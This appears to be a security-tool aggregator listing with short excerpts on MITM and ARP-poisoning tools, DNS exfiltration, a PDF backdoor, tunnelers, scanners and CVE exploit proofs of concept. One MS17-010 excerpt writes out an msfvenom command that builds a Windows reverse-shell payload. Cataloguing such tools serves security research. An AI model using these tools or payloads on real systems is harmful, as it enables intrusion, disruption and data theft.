creak

creak 对局域网中的目标地址执行一些最著名的中间人（MITM）攻击。其中包括：通过执行ARP投毒攻击并向路由器发出的每个请求发送重置TCP数据包，从而拒绝目标主机的浏览和下载能力。 该项目最初是为学习Python语言而创建的教学项目。对于任何滥用、包括恶意或非法使用此代码的行为，我不承担任何责任。 安装 root@kitploit: $ git clone https://github.com/codepr/creak.git $ cd creak $ python setup.py install 或者直接克隆仓库，并在安装所有依赖后运行 creak.py：...

creak

creak Performs some of the most famous MITM attack on target addresses located in a local network. Among these, deny navigation and download capabilities of a target host in the local network performing an ARP poison attack and sending reset TCP packets to every request made to the router. Born a...

hyenae-ng

Hyenae NG Hyenae NG Next Generation is a re-write of the original Hyenae tool which was originally published back in the year 2010. Besides switching from C to C++, using modern design concepts, Hyenae NG was just like the original Hyenae written with maximum portability in mind. Since the origin...

NetworkAssessment

NetworkAssessment: Network Compromise Assessment Tool The Network Compromise Assessment Tool is designed to analyze pcap files to detect potential suspicious network traffic. This tool focuses on spotting abnormal activities in the network traffic and searching for suspicious keywords. Features D...

iox

iox English | 中文 Tool for port forward & intranet proxy, just like lcx/ew, but better Why write? lcx and ew are awesome, but can be improved. When I first used them, I can't remember these complicated parameters for a long time, such as tran, slave, rcsocks, sssocks.... The work mode is clear, wh...

GONET-Scanner

GO/NET Scanner ScreenShots Install root@kitploit: chmod +x install.sh ./install.sh as root Usage root@kitploit: ARGUMENTS -ar CIDR: ARP Discovery -ar CIDR -s: Scan ports in all hosts discovered -ap: Scan to 65535 Ports -pr MINPORT MAXPORT: Define Port Range to Scan -1000: Scan Top 1000 ports like...

ABPTTS

A Black Path Toward The Sun TCP tunneling over HTTP for web application servers https://www.blackhat.com/us-16/arsenal.htmla-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package1 to tunnel TCP traffic over an HTTP/HTTP...

Embedded-PDF

Embedded Backdoor Connection via PDF Files 😈 brought to you by Introduction This demonstration video shows how we can control the victim's device by sending the innocent-looking PDF file to the target which actually consists of embedded payload. The exploit was made public as CVE-2010-1240. As so...

peetch

peetch peetch is a collection of tools aimed at experimenting with different aspects of eBPF to bypass TLS protocol protections. Currently, peetch includes three subcommands. The first called dump aims to sniff network traffic by associating information about the source process with each packet...

Havoc-C2-SSRF-poc

CVE-2024-41570: Havoc-C2-SSRF-poc This vulnerability is exploited by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more. Full analysis:...

CVE-2009-1330

CVE-2009-1330 Exploit for buffer overflow in Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Based on: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 Vulnerable app available at https://www.exploit-db.com/exploits/10374...

pbscan

摘要 polarbearscan 旨在实现更快、更高效的横幅抓取和端口扫描。它结合了两个不同的理念，希望使其值得您关注和投入时间。 第一个理念是使用无状态 SYN 扫描，通过加密保护的 cookie 来解析传入的确认包。据作者所知，这项技术最早由 Dan Kaminsky 在 scanrand 中开创。Scanrand 本身是 Paketto Keiretsu（一组扫描工具）的一部分，于 2001-2002 年左右发布。该代码的镜像可在 Packet Storm 1 找到。 第二个理念是使用修补过的用户态 TCP/IP 栈，以便扫描器在收到同时设置了 SYN 和 ACK...

pbscan

SUMMARY polarbearscan is an attempt to do faster and more efficient banner grabbing and port scanning. It combines two different ideas which hopefully will make it somewhat worthy of your attention and time. The first of these ideas is to use stateless SYN scanning using cryptographically protect...

CVE-2024-38063

CVE-2024-38063 Windows Vulnerability that allows the implementation of unauthorised activity over the network: remote execution of Windows TCP/IP remote code. Two virtual machines - a victim and an attacker - are ready to simulate the attack. On the victim machine, a tool for capturing network...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Using msfvenom to Generate a Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifies the payload a reverse TCP shell for Windows. LHOST=10.10.14.4: The...

Invoke-DNSteal

Invoke-DNSteal is a Simple & Customizable DNS Data Exfiltrator. This tool helps you to exfiltrate data through DNS protocol over UDP and TCP, and lets you control the size of queries using random delay. Also, allows you to avoid detections by using random domains in each of your queries and you c...

morpheus

Morpheus - 自动化的ettercap TCP/IP劫持工具 root@kitploit: 版本发布：v2.2 - 稳定版 作者：pedro ubuntu r00t-3xp10it 代号：oneiroi phobetor（神话中的梦神） 支持的发行版：Linux Ubuntu, Kali, Debian, BackBox, Parrot OS Suspicious-Shell-Activity© SSA RedTeam 开发 @2018 法律免责声明 root@kitploit: 作者对本工具的任何滥用不承担任何责任， 请记住，未经事先同意攻击目标是非法的，并会受到法律惩罚。...

morpheus

Morpheus - automated ettercap TCP/IP Hijacking tool root@kitploit: Version release: v2.2 - STABLE Author: pedro ubuntu r00t-3xp10it Codename: oneiroi phobetor The mithologic dream greek god Distros Supported: Linux Ubuntu, Kali, Debian, BackBox, Parrot OS Suspicious-Shell-Activity© SSA RedTeam...

masscan

MASSCAN: 大规模IP端口扫描器 这是一个互联网规模的端口扫描器。它可以在5分钟内扫描整个互联网，从单台机器以每秒1000万个数据包的速率进行传输。 其用法（参数、输出）与最著名的端口扫描器 nmap 类似。如有疑问，可以尝试其中的某些功能——它支持对大量机器进行广泛扫描，但不支持对单台机器进行深度扫描。 内部采用异步传输方式，类似于 scanrand、unicornscan 和 ZMap 等端口扫描器。它更加灵活，允许任意端口和地址范围。 注意：masscan 使用自己的临时 TCP/IP 协议栈 。任何超出简单端口扫描的操作都可能与本地 TCP/IP...

psc

PortShellCrypter -- PSC This project - as well as its sister project crash - belongs to my anti-censorship tool-set that allows to setup fully working encrypted shells and TCP/UDP forwarding in hostile censoring environments. It is also useful for forensics to dump data from devices via UART or...